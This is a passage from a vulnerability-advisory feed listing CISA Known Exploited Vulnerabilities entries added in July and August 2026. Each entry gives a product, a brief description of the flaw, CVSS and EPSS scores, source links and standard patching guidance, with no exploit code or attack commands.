not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 4, 2026; federal due date Aug 7, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache Tomcat Missing Encryption of Sensitive Data Vulnerability https://kevwire.com/record/CVE-2026-34486 Apache Tomcat Missing Encryption of Sensitive Data Vulnerability (Aug 4, 2026). Apache Tomcat contains a missing encryption of sensitive data vulnerability that allows the bypass of the EncryptInterceptor. This vulnerability can be chained with CVE‑2025‑24813. CVSS 7.5 (version 3.1; evidence as of Sep 21, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-34486). EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34486&date=2026-10-25). Sources: CISA KEV entry CVE-2026-34486: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34486&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-34486 CISA added this entry on 2026-08-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 4, 2026; federal due date Aug 7, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### IBM Langflow Code Injection Vulnerability https://kevwire.com/record/CVE-2026-9198 IBM Langflow Code Injection Vulnerability (Aug 4, 2026). Langflow contains a code injection vulnerability that allows unauthenticated attackers to achieve full remote code execution on default Langflow deployments. CVSS 9.8 (version 3.1; evidence as of Aug 17, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-9198). EPSS 28.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9198&date=2026-10-25). Sources: CISA KEV entry CVE-2026-9198: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9198&date=2026-10-25 CVE Program CNA ibm: https://cveawg.mitre.org/api/cve/CVE-2026-9198 CISA added this entry on 2026-08-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 4, 2026; federal due date Aug 7, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### N-able N-central Authentication Bypass Using an Alternate Path or Channel Vulnerability https://kevwire.com/record/CVE-2026-18577 N-able N-central Authentication Bypass Using an Alternate Path or Channel Vulnerability (Aug 3, 2026). N-able N-central contains an authentication bypass using an alternate path or channel allows for authentication bypass and account takeover in N-central. This vulnerability is the result of an incomplete patch for CVE-2026-18556. CVSS 8.2 (version 4.0; evidence as of Aug 2, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-18577). EPSS 14.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-18577&date=2026-10-25). Sources: CISA KEV entry CVE-2026-18577: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-18577&date=2026-10-25 CVE Program CNA N-able: https://cveawg.mitre.org/api/cve/CVE-2026-18577 CISA added this entry on 2026-08-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 3, 2026; federal due date Aug 6, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Secure Firewall Management Center Use of Hard-coded Password Vulnerability https://kevwire.com/record/CVE-2026-20316 Cisco Secure Firewall Management Center Use of Hard-coded Password Vulnerability (Jul 29, 2026). Cisco Secure Firewall Management Center (FMC) formerly known as Firepower Management Center contains a use of hard-coded password vulnerability that could allow an unauthenticated, remote attacker to log in to an affected device using a low-privileged account to access sensitive data within the impacted systems. CVSS 5.3 (version 3.1; evidence as of Sep 16, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-20316). EPSS 35.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20316&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20316: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20316&date=2026-10-25 CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-20316 CISA added this entry on 2026-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 29, 2026; federal due date Aug 1, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiOS Exposure of Sensitive Information to an Unauthorized Actor Vulnerability https://kevwire.com/record/CVE-2025-68686 Fortinet FortiOS Exposure of Sensitive Information to an Unauthorized Actor Vulnerability (Jul 27, 2026). Fortinet FortiOS contains an exposure of sensitive information to an unauthorized actor vulnerability. This may allow a remote unauthenticated attacker to bypass the patch developed for the symbolic link persistency mechanism observed in some post-exploit cases, via crafted HTTP requests. An attacker would need first to have compromised the product via another vulnerability, at filesystem level. CVSS 5.3 (version 3.1; evidence as of Feb 10, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-68686). EPSS 29.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-68686&date=2026-10-25). Sources: CISA KEV entry CVE-2025-68686: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-68686&date=2026-10-25 CVE Program CNA fortinet: https://cveawg.mitre.org/api/cve/CVE-2025-68686 CISA added this entry on 2026-07-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 27, 2026; federal due date Aug 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Arista VeloCloud Orchestrator On-Prem OS Command Injection Vulnerability https://kevwire.com/record/CVE-2026-16812 Arista VeloCloud Orchestrator On-Prem OS Command Injection Vulnerability (Jul 27, 2026). Arista VeloCloud Orchestrator On-Prem contains an OS command injection vulnerability that may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator. CVSS 10.0 (version 4.0; evidence as of Jul 27, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-16812). EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16812&date=2026-10-25). Sources: CISA KEV entry CVE-2026-16812: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16812&date=2026-10-25 CVE Program CNA Arista: https://cveawg.mitre.org/api/cve/CVE-2026-16812 CISA added this entry on 2026-07-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 27, 2026; federal due date Jul 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Check Point SmartConsole Improper Authentication Vulnerability https://kevwire.com/record/CVE-2026-16232 Check Point SmartConsole Improper Authentication Vulnerability (Jul 22, 2026). Check Point SmartConsole contains an improper authentication vulnerability which could allow an unauthenticated remote attacker to obtain an application login token and use it to authenticate with full administrative privileges. CVSS 9.3 (version 4.0; evidence as of Aug 2, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-16232). EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16232&date=2026-10-25). Sources: CISA KEV entry CVE-2026-16232: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16232&date=2026-10-25 CVE Program CNA checkpoint: https://cveawg.mitre.org/api/cve/CVE-2026-16232 CISA added this entry on 2026-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 22, 2026; federal due date Jul 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2026-50522 Microsoft SharePoint Deserialization of Untrusted Data Vulnerability (Jul 22, 2026). Microsoft SharePoint contains a deserialization of untrusted data vulnerability which could allow an unauthorized attacker to execute code over a network. CVSS 9.8 (version 3.1; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-50522). EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-50522&date=2026-10-25). Sources: CISA KEV entry CVE-2026-50522: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-50522&date=2026-10-25 CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-50522 CISA added this entry on 2026-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 22, 2026; federal due date Jul 25, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WordPress Core SQL Injection Vulnerability https://kevwire.com/record/CVE-2026-60137 WordPress Core SQL Injection Vulnerability (Jul 21, 2026). WordPress Core contains a SQL injection vulnerability when a plugin or theme passes untrusted input to the parameter. This vulnerability can be chained with CVE-2026-63030 to allow an unauthenticated attacker to gain remote code execution on default WordPress installations. CVSS 5.9 (version 3.1; evidence as of Jul 18, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-60137). EPSS 5.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-60137&date=2026-10-25). Sources: CISA KEV entry CVE-2026-60137: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-60137&date=2026-10-25 CVE Program CNA WPScan: https://cveawg.mitre.org/api/cve/CVE-2026-60137 CISA added this entry on 2026-07-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 21, 2026; federal due date Aug 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WordPress Core Interpretation Conflict Vulnerability https://kevwire.com/record/CVE-2026-63030 WordPress Core Interpretation Conflict Vulnerability (Jul 21, 2026). WordPress Core contains an interpretation conflict vulnerability that could allow an attacker to perform SQL Injection and achieve Remote Code Execution. This vulnerability can be chained with CVE-2026-60137. CVSS 9.8 (version 3.1; evidence as of Jul 18, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-63030). EPSS 10.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63030&date=2026-10-25). Sources: CISA KEV entry CVE-2026-63030: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63030&date=2026-10-25 CVE Program CNA WPScan: https://cveawg.mitre.org/api/cve/CVE-2026-63030 CISA added this entry on 2026-07-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 21, 2026; federal due date Jul 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Langflow Inclusion of Functionality from Untrusted Control Sphere Vulnerability https://kevwire.com/record/CVE-2026-0770 Langflow Inclusion of Functionality from Untrusted Control Sphere Vulnerability (Jul 21, 2026). Langflow contains an inclusion of functionality from untrusted control sphere vulnerability that allows remote attackers to execute arbitrary code on affected installations. CVSS 9.8 (version 3.0; evidence as of Jan 23, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-0770). EPSS 62.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-0770&date=2026-10-25). Sources: CISA KEV entry CVE-2026-0770: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-0770&date=2026-10-25 CVE Program CNA zdi: https://cveawg.mitre.org/api/cve/CVE-2026-0770 CISA added this entry on 2026-07-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 21, 2026; federal due date Jul 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### DD-WRT Stack-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2021-27137 DD-WRT Stack-Based Buffer Overflow Vulnerability (Jul 21, 2026). DD-WRT contains a stack-based buffer overflow vulnerability that could allow an unauthenticated attacker to overflow an internal buffer used by UPnP and trigger a code execution vulnerability. CVSS 8.1 (version 3.1; evidence as of Jul 16, 2026; https://cveawg.mitre.org/api/cve/CVE-2021-27137). EPSS 4.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27137&date=2026-10-25). Sources: CISA KEV entry CVE-2021-27137: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27137&date=2026-10-25 CVE Program CNA mitre: https://cveawg.mitre.org/api/cve/CVE-2021-27137 CISA added this entry on 2026-07-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 21, 2026; federal due date Jul 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2026-58644 Microsoft SharePoint Deserialization of Untrusted Data Vulnerability (Jul 16, 2026). Microsoft SharePoint contains a deserialization of untrusted data vulnerability that allows an unauthorized attacker to execute code over a network. CVSS 9.8 (version 3.1; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-58644). EPSS 15.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-58644&date=2026-10-25). Sources: CISA KEV entry CVE-2026-58644: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-58644&date=2026-10-25 CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2026-58644 CISA added this entry on 2026-07-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 16, 2026; federal due date Jul 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiSandbox OS Command Injection Vulnerability https://kevwire.com/record/CVE-2026-25089 Fortinet FortiSandbox OS Command Injection Vulnerability (Jul 16, 2026). Fortinet FortiSandbox, FortiSandbox Cloud, and FortiSandbox PaaS contain an OS command injection vulnerability that allows an unauthenticated attacker to execute unauthorized commands via specifically crafted HTTP requests. CVSS 9.1 (version 3.1; evidence as of Jun 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-25089). EPSS 76.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-25089&date=2026-10-25). Sources: CISA KEV entry CVE-2026-25089: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-25089&date=2026-10-25 CVE Program CNA fortinet: https://cveawg.mitre.org/api/cve/CVE-2026-25089 CISA added this entry on 2026-07-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 16, 2026; federal due date Jul 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiSandbox OS Command Injection Vulnerability https://kevwire.com/record/CVE-2026-39808 Fortinet FortiSandbox OS Command Injection Vulnerability (Jul 16, 2026). Fortinet FortiSandbox contains an OS command injection vulnerability that could allow an unauthenticated attacker to execute unauthorized code or commands via crafted HTTP requests. CVSS 9.1 (version 3.1; evidence as of Apr 14, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-39808). EPSS 93.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-39808&date=2026-10-25). Sources: CISA KEV entry CVE-2026-39808: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-39808&date=2026-10-25 CVE Program CNA fortinet: https://cveawg.mitre.org/api/cve/CVE-2026-39808 CISA added this entry on 2026-07-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 16, 2026; federal due date Jul 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle E-Business Suite Improper Privilege Management Vulnerability https://kevwire.com/record/CVE-2026-46817 Oracle E-Business Suite Improper Privilege Management Vulnerability (Jul 15, 2026). Oracle E-Business Suite contains an improper privilege management vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise Oracle Payments. Successful attacks of this vulnerability can result in takeover of Oracle Payments. CVSS 9.8 (version 3.1; evidence as of May 28, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-46817). EPSS 12.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-46817&date=2026-10-25). Sources: CISA KEV entry CVE-2026-46817: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-46817&date=2026-10-25 CVE Program CNA oracle: https://cveawg.mitre.org/api/cve/CVE-2026-46817 CISA added this entry on 2026-07-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 15, 2026; federal due date Jul 18, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### KNX Association KNX Protocol Connection Authorization Option 1 Overly Restrictive Account Lockout Mechanism Vulnerability https://kevwire.com/record/CVE-2023-4346 KNX Association KNX Protocol Connection Authorization Option 1 Overly Restrictive Account Lockout Mechanism Vulnerability (Jul 15, 2026). KNX Association KNX Protocol Connection Authorization Option 1 contains an overly restrictive account lockout mechanism vulnerability that could allow an attacker to purge all devices without additional security options enabled and set a BCU key to lock the device. CVSS 7.5 (version 3.1; evidence as of Aug 29, 2023; https://cveawg.mitre.org/api/cve/CVE-2023-4346). EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-4346&date=2026-10-25). Sources: CISA KEV entry CVE-2023-4346: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-4346&date=2026-10-25 CVE Program CNA icscert: https://cveawg.mitre.org/api/cve/CVE-2023-4346 CISA added this entry on 2026-07-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 15, 2026; federal due date Jul 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Active Directory Federation Services Insufficient Granularity of Access Control Vulnerability https://kevwire.com/record/CVE-2026-56155 Microsoft Active Directory Federation Services Insufficient Granularity of Access Control Vulnerability (Jul 14, 2026). Microsoft Active Directory Federation Services contains an insufficient granularity of access control vulnerability that allows an authorized attacker to elevate privileges locally. CVSS 7.8 (version 3.1; evidence as of Oct 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-56155). EPSS 0.3% for the following 30 days, scored Oct 25, 